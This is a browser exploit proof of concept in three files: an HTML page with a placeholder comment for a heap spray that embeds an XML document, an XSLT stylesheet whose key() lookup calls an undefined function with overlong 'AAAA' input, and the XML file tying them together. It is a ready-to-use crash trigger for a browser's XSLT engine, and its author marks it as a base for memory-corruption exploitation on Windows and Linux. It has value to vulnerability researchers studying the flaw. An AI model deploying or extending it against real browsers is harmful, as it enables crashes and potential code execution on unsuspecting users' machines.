---------------------------------------------xmlcrash.html--------------------------------------------
<html>
<script> // k`sOSe - works both on windows and linux // heap spray here :) </script>
<iframe src="xmlcrash.xml">
</html>
-----------------------------------------xslt.xsl-----------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:key name="label" match="item2" use="w00t()"/>
<xsl:template match="root"> <xsl:for-each select="//item1"> <xsl:call-template name="item1" /> </xsl:for-each> </xsl:template>
<xsl:template name="item1"> <xsl:for-each select="key('label', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')"> </xsl:for-each> </xsl:template>
</xsl:stylesheet>
--------------------------------------------xmlcrash.xml----------------------------------------
<?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="xslt.xsl"?>
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <item1 id="AAAAAAA" /> <item2 id="AAAAAAAAA" label="AAAAAAAAAAAA"/> </root>
|